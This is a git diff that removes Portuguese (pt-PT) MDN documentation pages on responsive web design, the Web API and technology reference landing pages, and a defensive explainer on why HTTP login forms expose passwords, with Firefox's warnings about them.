made UI components</a>.</p>
-
-<p>O mais relevante neste artigo é uqe não queríamos que o CSS relativo ao Brick e ficheiros JavaScript aplicados à demarcação a não ser que estivéssemos a olhar para a aplicação em aspeto móvel. Para tal, incluímos o CSS do Brick na página com recurso a um elemento {{HTMLElement("link")}} separado e um atributo <code>media</code>:</p>
-
-<pre class="brush: html">&lt;link href="dist/brick.css" type="text/css" rel="stylesheet" media="all and (max-width: 480px)"&gt;</pre>
-
-<p>Aqui diz que a folha de estilo inteira só será ligada ao HTML se e só se a largura do viewport for 480px ou menos. Passando ao JavaScript, elementos {{HTMLElement("script")}} não aceitam atributoss <code>media</code>, então tem que se usar outra estratégia. Felizmente existe um conceito em JavaScript chamado {{domxref("window.matchMedia()")}}, que executa outros conceitos dependendo do resultado de uma consulta de média. Abrimos o ficheiro <code>brick.js</code> e à volta de todo o código existente, colocámos:</p>
-
-<pre class="brush: js">if (window.matchMedia("(max-width: 480px)").matches) {
- // O código inteiro do ficheiro brick.js está aqui!
-}</pre>
-
-<p>Assim nada dentro do ficheiro <code>brick.js</code> será executado a não ser que a largura do viewport seja 480px ou menos. Problema resolvido.</p>
-
-<h3 id="Ecrãs_mesmos_grandes">Ecrãs mesmos grandes</h3>
-
-<p>Podes ter reparado que se o viewport alargar muito (como um ecrã de cinema), o layout pára de crescer, e centra-se no espaço disponível. Isto é relativamente simples de conseguir. Poderias usar uma consulta de média a <code>min-width</code> para fixar a largura do elemento {{HTMLElement("body")}} a determinado momento:</p>
-
-<pre class="brush: css">@media all and (min-width: 1400px) {
- body {
- width: 1400px;
- margin: 0 auto;
- }
-}</pre>
-
-<p>Mas é mais fácil aplicar a regra seguinte e retirar por completo a consulta de média:</p>
-
-<pre class="brush: css">body {
- max-width: 1400px;
- margin: 0 auto;
-}</pre>
-
-<h3 id="Falha_na_orientação">Falha na orientação</h3>
-
-<p>Tabém nos deparámos com problemas de orientação: o layout do tablet foi concebido para orientação em modo retrato, e fica horrível se pusermos o aparelho em modo paisagem. Para consertar isto, acrescentamos uma consulta que só tem efeito em modo paisagem:</p>
-
-<pre class="brush: css">@media all and (max-width: 480px) and (orientation: landscape) {
- nav {
-    width: auto;
-
-    -webkit-flex-direction: column;
-    -moz-flex-direction: column;
-    -ms-flex-direction: column;
-    flex-direction: column;
-  }
-
-  nav button {
-    font-size: 6.8vh;
-  }
-
-  nav button {
-    border-left: 0;
-  }
-
-  x-card:nth-child(1) video, x-card:nth-child(2) img, x-card:nth-child(3) {
-    margin-top: 0;
-  }
-
-  x-card:nth-child(1) button, x-card:nth-child(2) button {
-    font-size: 2rem;
-  }
-}</pre>
-
-<p>Isto faz o seguinte:</p>
-
-<ul>
- <li>Ajusta os botões <code>nav</code>, mudando a direção da flexbox em que estão dispostos, e mudando tamanho de margens e letra para ficarem na vertical e não horizontal.</li>
- <li>Remove a margem superior do conteúdo da x-card para evitar um fosso desagradável no topo do ecrã em modo paisagem.</li>
- <li>Muda tamanho dos botões de controlo (como <em>Tirar Foto</em>, <em>Apagar Foto</em>) para não parecerem demasiado grandes e aparecerem corretamente no ecrã.</li>
-</ul>
-
-<p>Assim obtém-se o seguinte layout:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/5923/viewport-fail-fixed.png" style="display: block; height: 320px; margin: 0px auto; width: 479px;"></p>
-
-<div class="note">
-<p><strong>Nota</strong>: Outra solução no que respeita à orientação pode ser simplesmente fixar a orientação da aplicação, em retrato ou paisagem. Se estiver a desenvolver uma aplicação instalada, ou uma aplicação do Firefox OS, pode fazê-lo facilmente com o <a href="https://developer.mozilla.org/en-US/Apps/Build/Manifest#orientation">campo de oritentação do manifesto</a>. Se quer uma solução que funcione em geral nas aplicações web, pode recorrer à <a href="https://developer.mozilla.org/en-US/docs/Web/API/CSS_Object_Model/Managing_screen_orientation#Locking_the_screen_orientation">API de orientação do ecrã</a>, e/ou apresentar uma mensagem que peça ao utilizador para rodar o ecrã se estiverem a usar a orientação errada (por exemplo, se <code>window.innerWidth</code> for maior que  <code>window.innerHeight</code>, assume-se que o jogo está em modo paisagem e mostra-se uma mensagem "por favor rode o ecrã").</p>
-</div>
-
-<h2 id="Viewport">Viewport</h2>
-
-<p>Um último problema a mencionar na nossa aplicação de exemplo relaciona-se com consultas de média em navegadores móveis. Se víssemos o meu exemplo num navegador móvel, não iríamos ver o simpático layout móvel. Em vez disso, veríamos a imagem em baixo.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/5925/viewport-fail.png" style="float: left; height: 569px; margin-right: 2rem; width: 320px;">Porque isto acontece? Curto e grosso, os navegadores móveis mentem. Não foto-realizam páginas da internet à largura verdadeira do viewport. Em vez disso, realizam as páginas a uma largura maior que a assumida (próxima da largura de um portátil), e depois encolhem o resultado para caber no ecrã do telemóvel. Isto é um mecanismo de defesa sensato — sites da velha guarda que não fazem consultas de média teriam péssima aparência se fossem realizados numa largura de 320px ou 480px. Mas não ajuda desenvolvedores web responsáveis, que escreveram layouts para ecrãs pequenos no CSS com consultas de média e querem que os dispositivos móveis as utilizem!</p>
-
-<p>Existe uma maneira de anular este comportamento de fotorrealização — viewport, que está inserido nas páginas HTML sob forma da etiqueta {{HTMLElement("meta")}}. No meu exemplo, vamos adicioná-lo ao {{HTMLElement("head")}}:</p>
-
-<pre>&lt;meta name="viewport" content="width=480"&gt;</pre>
-
-<p>Isto obriga o navegador a realizar corretamente o layout móvel da nossa aplicação — <code>width=480</code> diz-lhe: <em>"realize o HTML a 480 pixels de largura"</em>, e portanto, as consultas de média são devidamente efetuadas. Há muitas mais opções disponíveis na etiqueta <code>meta</code> do <code>viewport</code>, as quais pode aprodundar em <a href="/en-US/docs/Mozilla/Mobile/Viewport_meta_tag" title="/en-US/docs/Mozilla/Mobile/Viewport_meta_tag">Utilizar etiqueta meta do viewport para controlar layout em navegadores móveis</a>.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> Há uma especificação chamada <a href="http://dev.w3.org/csswg/css-device-adapt/" title="http://dev.w3.org/csswg/css-device-adapt/">adaptação de dispositivos</a>, que define a mesma funcionalidade mas em CSS, usando uma regra "at" <code>@viewport</code>. Provavelmente é um local mais lógica para tal informação, mas as especificação ainda não é tão largamente suportada como a etiqueta meta do viewport, pelo que deve manter essa solução por enquanto.</p>
-</div>
-
-<h2 class="cleared" id="Vídeo_e_imagens_adaptáveis">Vídeo e imagens adaptáveis</h2>
-
-<p>Outro problema cada vez mais comum é tornar o peso (em KB) de imagens e vídeo adaptáveis tal como as dimensões no ecrã. Sim, quer que as imagens fiquem dentro da IU da aplicação quer esteja num telemóvel ou desktop, mas também deve considerar que aplicações móveis têm viewport muito menores que programas desktop, então deve tentar dar aos dispositivos móveis uma imagem mais pequena para transferir. Em geral (e variando com a região do mundo), telemóveis têm banda mais curta e menos memória que os computadores, então uns KB extra também contam.</p>
-
-<p>Outro desafio é lidar com ecrãs de elevada resolução — gráficos de varredura (<em>bitmaps</em>) pensados para baixas resoluções correm perigo de ficarem minúsculos se apresentados em ecrãs com alta resolução, pelo que os dispositivos aplicam um fator de ampliação às páginas para evitar tal. Infelizmente, imagens de varredura ampliadas podem ficar muito "pixelizadas".</p>
-
-<h3 id="Imagens_de_fundo_em_CSS">Imagens de fundo em CSS</h3>
-
-<p>No caso das imagens de fundo em CSS, isto é fácil de resolver. Segundo a metodologia <a href="/en-US/docs/Web/Apps/app_layout/Mobile_first" title="/en-US/docs/Web/Apps/app_layout/Mobile_first">móvel primeiro</a>, cria-se o layout móvel nas instruções CSS por omissão, ou seja, antes de aplicar quaisquer consultas de média. Depois, as consultas de média disponibilizam CSS que só é aplicado quando o viewport tiver larguar <strong>superior </strong>a um dado limiar. Vejamos um breve exemplo:</p>
-
-<pre class="brush: css">header {
- height: 300px;
- width: 100%;
- background: url(images/small-header.jpg) center;
-}
-
-@media all and (min-width: 480px) {
- header {
- background: url(images/large-header.jpg) center;
- }
-}</pre>
-
-<p>Isto significa que navegadores móveis só vão descarregar a imagem de fundo peqeuna (small-header.jpg), uma vez que não satisfazem a consulta de média, e ignoram a imagem grande (large-header.jpg). Também é possível servir um elemento gráfico com uma resolução mais elevada recorrendo a consultas de média de resolução, como se segue:</p>
-
-<pre class="prettyprint prettyprinted"><code><span class="brush: css">button {
- background: url(images/low-res-header.jpg) 1rem center ;
-}
-
-@media</span><span class="pln"> only screen </span><span class="kwd">and</span><span class="pln"> </span><span class="pun">(-</span><span class="pln">webkit</span><span class="pun">-</span><span class="pln">min</span><span class="pun">-</span><span class="pln">device</span><span class="pun">-</span><span class="pln">pixel</span><span class="pun">-</span><span class="pln">ratio</span><span class="pun">:</span><span class="pln"> </span><span class="lit">2</span><span class="pun">),</span><span class="pln">
- only screen </span><span class="kwd">and</span><span class="pln"> </span><span>(</span><span class="pln"> min</span><span class="pun">-</span><span class="pln">resolution</span><span class="pun">:</span><span class="pln"> </span><span class="lit">192dpi</span><span class="pun">),</span><span class="pln">
- only screen </span><span class="kwd">and</span><span class="pln"> </span><span class="pun">(</span><span class="pln"> min</span><span class="pun">-</span><span class="pln">resolution</span><span class="pun">:</span><span class="pln"> </span><span class="lit">2dppx</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
-<code><span class="lit"> button {
- background: url(images/high-res-header.jpg) 1rem center ;
- }</span></code> </span><span class="pln">
-</span><span class="pun">}</span></code></pre>
-
-<p>Parece complicado mas não é — estamos a utilizar diversas consultas de média, uma vez que, nos dias que correm, diferentes navegadores suportam diferentes consultas de média de resolução (e unidades diferentes — dpi, dppx, sem unidade). Brett Jankord tem uma boa explicação no artigo <a href="http://www.brettjankord.com/2012/11/28/cross-browser-retinahigh-resolution-media-queries/" title="http://www.brettjankord.com/2012/11/28/cross-browser-retinahigh-resolution-media-queries/">Cross Browser Retina/High Resolution Media Queries</a>.</p>
-
-<h3 id="&lt;video>">&lt;video&gt;</h3>
-
-<p>Vídeo em HTML5 está relativamente bem servido em termos de adaptabilidade. Se desejar, pode referir diversos ficheiros com o elemento {{HTMLElement("source")}}, cada um com o caminho de um ficheiro e <em>MIME type</em>:</p>
-
-<pre class="brush: html">&lt;video controls&gt;
- &lt;source src="videos/720/crystal720.mp4" type="video/mp4"&gt;
- &lt;source src="videos/720/crystal720.webm" type="video/webm"&gt;
-&lt;/video&gt;</pre>
-
-<p>Mas ainda pode ir um passo mais além. Pode incluir atributos <code>media</code> no elemento <code>&lt;source&gt;</code> com consultas de média — o vídeo carregado no navegador vai depender do formato suportado pelo mesmo e também dos resultados das consultas de média. Por exemplo:</p>
-
-<pre class="brush: html">&lt;video controls&gt;
- &lt;source src="videos/320/crystal320.mp4" type="video/mp4" media="all and (max-width: 480px)"&gt;
- &lt;source src="videos/320/crystal320.webm" type="video/webm" media="all and (max-width: 480px)"&gt;
- &lt;source src="videos/720/crystal720.mp4" type="video/mp4" media="all and (min-width: 481px)"&gt;
- &lt;source src="videos/720/crystal720.webm" type="video/webm" media="all and (min-width: 481px)"&gt;
-&lt;/video&gt;</pre>
-
-<p>Isto permite ao site servir diferentes ficheiros de vídeo em função no espaço disponível, a fim de otimizar a experiência do utilizador.</p>
-
-<h3 id="&lt;img>">&lt;img&gt;</h3>
-
-<p>Imagens HTML são uma proposta mais difícil. Não existe mecanismo inerente para servir ficheiros diferentes em função do tamanho do viewport e, devido ao número de comportamentos incómodos dos navegadores, as soluções são mais difíceis de criar do que imagina. Atualmente estão em curso algumas propostas de métodos padrão para realizar esta tarefa  — o "W3C <a href="http://www.w3.org/community/respimg/" title="http://www.w3.org/community/respimg/">responsive images community group</a>" discutiu este problema durante séculos até chegar ao elemento <a href="http://www.w3.org/TR/html-picture-element/" title="http://www.w3.org/TR/html-picture-element/">&lt;picture&gt;</a>, o qual tem estrutura semelhante ao elemento {{HTMLElement("video")}}<a href="/en-US/docs/Web/HTML/Element/video" title="/en-US/docs/Web/HTML/Element/video">,</a> com alternativas de ficheiro fonte ( {{HTMLElement("source")}}  ) selecionáveis através de consultas de média. Outra proposta, <a href="http://www.w3.org/html/wg/drafts/srcset/w3c-srcset/" title="http://www.w3.org/html/wg/drafts/srcset/w3c-srcset/">srcset</a>, foi avançada pela Apple e usa uma abordagem diferente, que consiste em incluir um atributo <code>srcset</code> em cada elemento {{HTMLElement("img")}}, no qual se referem as imagens em conjunto com "dicas" ("hints") que o navegador pode usar para determinar qual é a imagem que mais se adequa ao tamanho do viewport, resolução, etc. Não se pretende que os métodos sejam mutuamente exclusivos.</p>
-
-<p>Isto é tudo muito bonito, mas nenhuma destas soluções está pronta para produção — ambas estão numa fase muito recuada de padronização e não são compatíveis com a maioria dos navegadores. Atualmente temos que depender de em vários {{glossary("Polyfill")}}s e outras soluções, nenhuma das quais é perfeita em todas as situações, pelo que cada pessoa deve decidir qual é a solução acertada para a sua situação em particular. Seguem-se algumas soluções disponíveis:</p>
-
-<dl>
- <dt><a href="https://github.com/teleject/hisrc" title="https://github.com/teleject/hisrc">HiSRC</a></dt>
- <dd>Plugin <a href="http://jquery.com" title="http://jquery.com">jQuery</a> que permite criar versões pequenas, médias e grandes de uma imagem, e depois serve a mais apropriada de acordo com a resolução do navegador e velocidade da ligação à internet.</dd>
- <dt><a href="http://www.mobify.com/mobifyjs/v2/docs/capturing/" title="http://www.mobify.com/mobifyjs/v2/docs/capturing/">Mobify.js capturing</a></dt>
- <dd>Uma técnica da Mozilla que permite capturar a fonte da página antes de ser analisada (<em>parsed</em>) pelo navegador. Desta forma, pode-se mudar os atributos <code>src</code> da imagem com JavaScript, de acordo com funcionalidades do navegador, e evitar problemas de pré-carregamento do navegador. É primissor mas ainda não funciona bem em navegadores antigos.</dd>
- <dt><a href="https://github.com/scottjehl/picturefill" title="https://github.com/scottjehl/picturefill">Picturefill</a></dt>
- <dd>Um <em>polyfill</em> baseado em JavaScript para elementos <code>&lt;picture&gt;</code>, que funciona muito bem, mas necessita de marcação muito especializada.</dd>
- <dt><a href="http://adaptive-images.com/" title="http://adaptive-images.com/">Adaptive images</a></dt>
- <dd>Uma solução do lado do servidor, que grava o tamanho do viewport num cookie, e redimensiona imagens através de uma combinação de PHP e <code>.htaccess</code> para um tamanho mais apropriado. Não requer demarcações HTML ou programas JavaScript, mas tem diversas limitações.</dd>
-</dl>
-
-<h3 id="SVG_e_outros_gráficos_vetoriais">SVG e outros gráficos vetoriais</h3>
-
-<p>Para certas imagens (não fotografias, mas sim ícones e outros elementos da interface do utilizador), utilizar gráficos vetoriais é uma boa solução. As mesmas são geradas por algoritmos matemáticos em vez de armazenar informação de cada pixel da imagem, pelo que os ficheiros tendem a ser mais pequenos e podem ser facilmente ampliadas ou visualizadas em dispositivos de alta resolução (pelo menos em teoria). Seguem-se algumas ideias, que também ajudam a diminuir o número de pedidos HTTP — outro fator chave no desempenho de aplicações móveis:</p>
-
-<ul>
- <li>Tente utilizar <a href="/en-US/docs/Web/CSS/CSS3" title="/en-US/docs/Web/CSS/CSS3">CSS3</a> para gerar efeitos gráficos quando for possível, em vez de recorrer a ficheiros de imagem. Efeitos esses que incluem cantos arredondados, gradientes e sombras. Estes mudam de tamanho à medida que muda a resolução ou o navegador é ampliado, e embora não sejam bem suportados em navegadores antigos como Internet Explorer 6-8, isso não é preocupante se a interface for dirigida a dispositivos modernos como o Firefox OS, e tais navegadores estão graciosamente a cair em desuso.</li>
- <li>Também pode usar <a href="/en-US/docs/Web/SVG" title="/en-US/docs/Web/SVG">SVG</a> para criar elementos da interface. SVG é um formato de gráficos vetoriais e é bem suportado pelos navegadores modernos, além de que existem <em>polyfills</em> de compatibilidade com navegadores antigos.</li>
- <li>Utilizar <a href="/en-US/docs/Web/CSS/@font-face" title="/en-US/docs/Web/CSS/@font-face">Web fonts</a> para mostrar ícones é uma técnica eficaz para reduzir o tamanho do fichiero e número de pedididos HTTP, e é compatível com navegadores modernos e antigos.</li>
-</ul>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web_Development" title="https://developer.mozilla.org/en-US/docs/Web_Development">Web development</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Mobile" title="https://developer.mozilla.org/en-US/docs/Web/Guide/Mobile">Mobile Web development</a></li>
-</ul>
diff --git a/files/pt-pt/web/reference/api/index.html b/files/pt-pt/web/reference/api/index.html
deleted file mode 100644
index d6102f810b..0000000000
--- a/files/pt-pt/web/reference/api/index.html
+++ /dev/null
@@ -1,57 +0,0 @@
----
-title: Referência da API da Web
-slug: Web/Reference/API
-tags:
- - API
- - Landing
- - Referencia
- - Web
-translation_of: Web/Reference/API
----
-<p><span class="seoSummary">A Web oferece uma variedade alargada de APIs para realizar várias tarefas úteis. Estas podem ser acedidas, utilizando de código JavaScript, e permitem-lhe fazer qualquer coisa, desde ajustes menores a qualquer {{domxref("janela")}} ou {{domxref("elemento")}}, até à geração de efeitos gráficos e de áudio, utilizando APIs, tais como <a href="/pt-PT/docs/Web/API/WebGL_API">WebGL</a> e <a href="/pt-PT/docs/Web/API/Web_Audio_API">Áudio da Web</a>.</span></p>
-
-<p>A interface individual de todas as APIs encontra-se listada no <a href="/pt-PT/docs/Web/API">índice.</a></p>
-
-<p>Há também uma <a href="/pt-PT/docs/Web/Eventos">listagem de todos os eventos disponíveis</a> na referência de eventos</p>
-
-<div class="cleared topicpage-table">
-<div class="section">
-<dl>
- <dt><a href="/en-US/docs/DOM">Modelo de Objeto de Documento</a></dt>
- <dd>O DOM é uma API que permite o acesso e a modificação do documento atual. Este permite a manipulação do documento {{domxref("Nó")}} e {{domxref("Elemento")}}. HTML, XML e SVG estenderam-no para manipular os seus elementos específicos.</dd>
- <dt>APIs de Dispositivo</dt>
- <dd>Este conjunto de APIs permite o acesso a várias funcionalidades de hardware disponível para as páginas da Web e aplicações. Por exemplo: <a href="/pt-PT/docs/Web/API/Eventos_de_Luz_Ambiente">API do Sensor de Luz Ambiente</a>, <a href="/pt-PT/docs/Web/API/API_do_Estado_da_Bateria" title="WebAPI/Battery_Status">API do Estado da Bateria</a>, <a href="/en-US/docs/Using_geolocation" title="Using_geolocation">Geolocation API</a>, <a href="/en-US/docs/WebAPI/Pointer_Lock" title="API/Pointer_Lock_API">Pointer Lock API</a>, <a href="/en-US/docs/WebAPI/Proximity" title="WebAPI/Proximity">Proximity API</a>, <a href="/en-US/docs/WebAPI/Detecting_device_orientation" title="WebAPI/Detecting_device_orientation">Device Orientation API</a>, <a href="/en-US/docs/WebAPI/Managing_screen_orientation" title="WebAPI/Detecting_device_orientation">Screen Orientation API</a>, <a href="/en-US/docs/WebAPI/Vibration" title="WebAPI/WebBluetooth">Vibration API</a>.</dd>
- <dt>APIs de Comunicação</dt>
- <dd>Estas APIs permitem que as páginas da Web e aplicações comuniquem com outras páginas e dispositivos. Por exemplo: <a href="/en-US/docs/WebAPI/Network_Information" title="WebAPI/Network_Information">Network Information API</a>, <a href="/en-US/docs/WebAPI/Using_Web_Notifications" title="/en-US/docs/WebAPI/Using_Web_Notifications">Web Notifications</a>, <a href="/en-US/docs/WebAPI/Simple_Push" title="WebAPI/Push_Notifications">Simple Push API</a>.</dd>
- <dt id="Data_management_APIs">APIs de Gestão de Dados</dt>
- <dd>Os dados do utilizador podem ser guardados e geridos através da utilização deste conjunto de APIs. Por exempo: <a href="/en-US/docs/WebAPI/FileHandle_API" title="WebAPI/FileHandle_API">FileHandle API</a>, <a href="/en-US/docs/IndexedDB" title="IndexedDB">IndexedDB</a>.</dd>
-</dl>
-
-<p>Para além destas APIs, disponívels para qualquer <em>Site da Web</em> ou aplicação, a Mozilla estendeu este conjunto com APIs mais poderosas, mas apenas disponíveis a aplicações privilegiadas ou, mesmo até, apenas a aplicações certificadas.</p>
-</div>
-
-<div class="section">
-<h2 class="Community" id="Comunidade">Comunidade</h2>
-
-<p>Junte-se à comunidade de API da Web na nossa lista de discussões ou grupo de discussões:</p>
-
-<ul>
- <li><a class="external" href="https://lists.mozilla.org/listinfo/dev-webapi">através da lista de discussões</a></li>
- <li><a href="news://news.mozilla.org/mozilla.dev.webapi">através do grupo de discussões</a></li>
- <li><a class="external" href="http://groups.google.com/group/mozilla.dev.webapi">através do Grupo da Google</a></li>
- <li><a class="external" href="http://groups.google.com/group/mozilla.dev.webapi/feeds">através da Feed da Web</a></li>
-</ul>
-
-<p>Também, não se esqueça de se juntar na discussão em direto no canal <a href="irc://irc.mozilla.org/webapi">#webapi</a>, no <a class="external" href="https://wiki.mozilla.org/IRC">IRC</a>.</p>
-
-<h2 class="Related_Topics" id="Tópicos_Relacionados">Tópicos Relacionados</h2>
-
-<p>Estes tópicos também podem ser interessantes:</p>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/API">Índice de todas as interfaces das APIs da Web</a></li>
-</ul>
-</div>
-</div>
-
-<p> </p>
diff --git a/files/pt-pt/web/reference/index.html b/files/pt-pt/web/reference/index.html
deleted file mode 100644
index a0eec76f94..0000000000
--- a/files/pt-pt/web/reference/index.html
+++ /dev/null
@@ -1,28 +0,0 @@
----
-title: Referência de tecnologia da Web
-slug: Web/Reference
-tags:
- - Landing
- - Tecnologias
- - Web
-translation_of: Web/Reference
----
-<p><span class="seoSummary">A Web aberta é baseada num número de tecnologias que podem ser utilizadas para criar tudo, desde ''sites'' simples até aplicações da web poderosas. Em baixo, irá encontrar hiperligações para uma seleção de documentação chave cada uma delas. </span></p>
-
-<div id="Web_technologies">
-<p>Se é novo ao desenvolvimento na Web, considere <a href="/en-US/docs/Learn/Getting_started_with_the_web">começar com a nossa área de aprendizagem</a>, que está repleto de tutoriais que o irão guiar de um novato do <em>webdev</em> até ser minimamente proficiente!</p>
-
-<dl>
- <dt><a href="/pt-PT/docs/Glossary/HTML">HTML</a> — Estruturar a Web</dt>
- <dd><strong>HyperText Markup Language</strong> é usada para definir e descrever semanticamente o conteúdo (<em><a href="/en-US/docs/Glossary/markup">markup</a></em>) duma página web numa forma bem estruturada. HTML oferece um meio para criar documentos estruturados feitos a partir de blocos chamados <a href="/en-US/docs/Web/HTML/Element">elementos HTML</a> que são delineados por <em><a href="/en-US/docs/Glossary/Tag">tags</a></em>, escritos com <code>&lt;</code> e <code>&gt;</code>. Alguns introduzem conteudo na página diretamente, enquanto outros oferecem informação acerca do documento e podem incluir outras <em>tags</em> como sub elementos. Como é de esperar, navegadores não os mostram, já que eles são utilizados para interpretar a página.<br>
- <br>
- <a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML">Introdução ao HTML</a> | <a href="/pt-PT/docs/Learn/HTML">Aprender HTML</a> | <a href="/pt-PT/docs/Web/HTML/HTML5">HTML5</a> | <a href="/pt-PT/docs/Learn/HTML">Guia de Desenvolvimento </a>| <a href="/pt-PT/docs/Web/HTML/Element">Referência de elemento</a> | <strong><a href="/pt-PT/docs/Web/HTML/Referencia">Referência</a></strong></dd>
- <dt><strong><a href="/pt-PT/docs/Glossary/CSS">CSS</a></strong> — styling the Web</dt>
- <dd>As <strong>Cascading Style Sheets</strong> são usadas para descrever a aparencia de conteudos da Web.<br>
- <br>
- <a href="/pt-PT/docs/Learn/CSS/Introduction_to_CSS">Introdução ao CSS</a> | <a href="/pt-PT/docs/Learn/CSS">Aprender CSS</a> | <a href="/pt-PT/docs/Web/CSS/CSS3">CSS3 </a>| <a href="/pt-PT/docs/Learn/CSS">Guia de Programador</a> | <a href="/pt-PT/docs/Learn/CSS/Howto/FAQ_de_CSS">Perguntas comuns sobre CSS </a>| <strong><a href="/pt-PT/docs/Web/CSS/Refer%C3%AAncia_CSS">Referência</a></strong></dd>
- <dt><strong><a href="/pt-PT/docs/Glossary/JavaScript">JavaScript</a></strong> — D<strong>ynamic client-side scripting</strong></dt>
- <dd>A linguagem de programação <strong>JavaScript </strong>é usada para dar interatividade e outras funções dinâmicas a sites na Web.</dd>
- <dd><a href="/pt-PT/docs/Learn/JavaScript">Aprender JavaScript</a> | <a href="/pt-PT/docs/Web/JavaScript/Guia">Guia do Programador</a> | <a href="/pt-PT/docs/Web/JavaScript/Reference">Referência</a></dd>
-</dl>
-</div>
diff --git a/files/pt-pt/web/security/index.html b/files/pt-pt/web/security/index.html
deleted file mode 100644
index e3af6fd55a..0000000000
--- a/files/pt-pt/web/security/index.html
+++ /dev/null
@@ -1,17 +0,0 @@
----
-title: Segurança da Web
-slug: Web/Security
-tags:
- - Landing
- - Segurança
- - Web
-translation_of: Web/Security
-original_slug: Web/Seguranca
----
-<div class="summary">
-<p><span class="seoSummary">É crítico assegurar que o seu site da Web ou aplicação da Web aberta é segura. Até erros simples no seu código podem resultar na divulgação de informação privada, e as pessoas más estão por aí a tentar encontrar meios para roubar dados. Estes articgos proporcionam informação que poderá ajudá-lo a proteger o seu código code.</span></p>
-</div>
-
-<p>{{LandingPageListSubpages}}</p>
-
-<p>{{QuickLinksWithSubpages}}</p>
diff --git a/files/pt-pt/web/security/insecure_passwords/index.html b/files/pt-pt/web/security/insecure_passwords/index.html
deleted file mode 100644
index 31344bf0ac..0000000000
--- a/files/pt-pt/web/security/insecure_passwords/index.html
+++ /dev/null
@@ -1,158 +0,0 @@
----
-title: Palavras-passe inseguras
-slug: Web/Security/Insecure_passwords
-tags:
- - Insegura
- - Intermediária
- - Segurança
- - Web
- - palavra-passe
- - palavras-passe
-translation_of: Web/Security/Insecure_passwords
-original_slug: Web/Seguranca/Palavras-passe_inseguras
----
-<p class="summary">Apresentar formulários de sessão usando protocolo HTTP é especialmente perigoso por causa da grande variedade de ataques que podem ser utilizados ​​contra os mesmos para extrair a palavra-passe de um utilizador. As escutas ocultas de rede podem roubar a palavra-passe de um utilizador ao "farejar" a rede ou modificar a página servida no tráfego. Esta página detalha os mecanismos de segurança que o Firefox criou para alertar os utilizadores e programadores dos riscos que envolvem as palavras-passe inseguras e o roubo da mesma<span class="seoSummary">.</span></p>
-
-<p>O protocolo <a href="https://en.wikipedia.org/wiki/HTTP_Secure" title="https://en.wikipedia.org/wiki/HTTP_Secure">HTTPS</a> foi desenhado para proteger os dados dos utilizadores de escutas (confidencialidade) e modificação (integridade) na rede. As páginas que lidam com dados de utilizador, deveriam idealmente usar HTTPS para proteger os utilizadores de ataques. Caso uma página use HTTP em vez de HTTPS, roubar informação acerca do utilizador (como os dados de autenticação) é um processo trivial. Esta técnica ficou famosamente demonstrada por <a href="https://codebutler.github.io/firesheep/" title="http://codebutler.com/firesheep/">Firesheep</a>.</p>
-
-<p>Para resolver este problema, é necessário instalar e configurar um certificado SSL/TLS no servidor onde está alojada a página. Existem vários emissores deste tipo de certificados sendo que uns são grátis e outros pagos. Se está a usar uma plataforma cloud, é possível que a mesma tenha as suas próprias maneiras de ativar o protocolo HTTPS.</p>
-
-<h2 id="Indicadores_de_segurança_de_palavra-passe_do_Firefox">Indicadores de segurança de palavra-passe do Firefox</h2>
-
-<p>Para o informar do perigo descrito acima, o Firefox implementa vários mecanismos de aviso:</p>
-
-<ol>
- <li>
- <p>Firefox 51+ mostrará o símbolo de um cadeado com um traço vermelho na barra de endereços sempre que uma página de autenticação não tenha uma ligação segura, como demonstrado abaixo.</p>
-
- <p style="text-align: center;"><img alt="Lock Icon" src="https://support.cdn.mozilla.net/media/uploads/gallery/images/2015-11-17-12-13-18-2faa61.png" style="height: 25px; width: 25px;"></p>
- </li>
- <li>
- <p>Firefox 52+ mostrará um aviso claro na barra de endereço e mais abaixo, focará o campo de introdução da password em qualquer formulário inseguro:</p>
-
- <p style="text-align: center;"><img alt="Warning" src="https://support.cdn.mozilla.net/media/uploads/gallery/images/2017-04-21-23-52-53-ba340d.png" style="height: 133px; width: 328px;"></p>
- </li>
- <li>
- <p>Firefox 52+ também desabilita o preenchimento automático em formulários inseguros. No entanto, a partir da caixa de seleção, os utilizadores continuam a poder utilizar o preenchimento automático caso tenham os seus dados de autenticação gravados.</p>
- </li>
- <li>
- <p>Avisos acerca de formulários inseguros também podem ser encontrados no separador "Segurança" da consola de programador em todas as versões distribuídas de Firefox, como demonstrado na próxima secção.</p>
- </li>
-</ol>
-
-<h2 id="Mensagens_da_Consola_da_Web"><strong>Mensagens da Consola da Web</strong></h2>
-
-<p>Esta secção descreve as mensagens de segurança mostradas pela consola de programador das Firefox DevTools (ferramentas de desenvolvimento), acerca de passwords inseguras.</p>
-
-<h3 id="Apresentando_o_formulário_de_sessão_usando_protocolo_HTTP">Apresentando o formulário de sessão usando protocolo HTTP</h3>
-
-<p>Mesmo que a acção do formulário seja um endereço HTTPS, a informação introduzida no formulário pelo utilizador não está protegida porque um possível atacante pode modificar a própria página que o utilizador consulta (por exemplo, os atacantes podem mudar o destino do formulário de forma a que os dados sensíveis sejam enviados para um servidor por eles controlados, ou inserir um script de leitura de teclas que desenha a password enquanto o utilizador a escreve). O separador de segurança da consola de programador web avisará os programadores e utilizadores acerca desta preocupação de segurança:</p>
-
-<p style="text-align: center;"><img alt="Insecure login form shown with the Web Console and contextual warning on the password field." src="https://mdn.mozillademos.org/files/14783/Insecure_Password_Console_Contextual_sm.png" style="height: 566px; width: 790px;"></p>
-
-<div class="note">
-<p><strong>Nota</strong>: Também não é seguro incluir uma página de autenticação recorrendo a HTTPS numa página HTTP - um atacante pode alterar a frame e respetivo endereço para apontar para um outro endereço, possivelmente malicioso.</p>
-</div>
-
-<h3 id="Utilizar_um_URL_HTTP_na_acção_do_formulário"><strong>Utilizar um URL HTTP na acção do formulário</strong></h3>
-
-<p>Neste caso, quaisquer dados que o utilizador introduza é enviado pela rede como sendo apenas texto básico. A password do utilizador é claramente visível para qualquer pessoa que "fareje" a rede desde o momento em que deixa o computador do utilizador até ao momento em que chega ao servidor onde se encontra alojado o website de destino.</p>
-
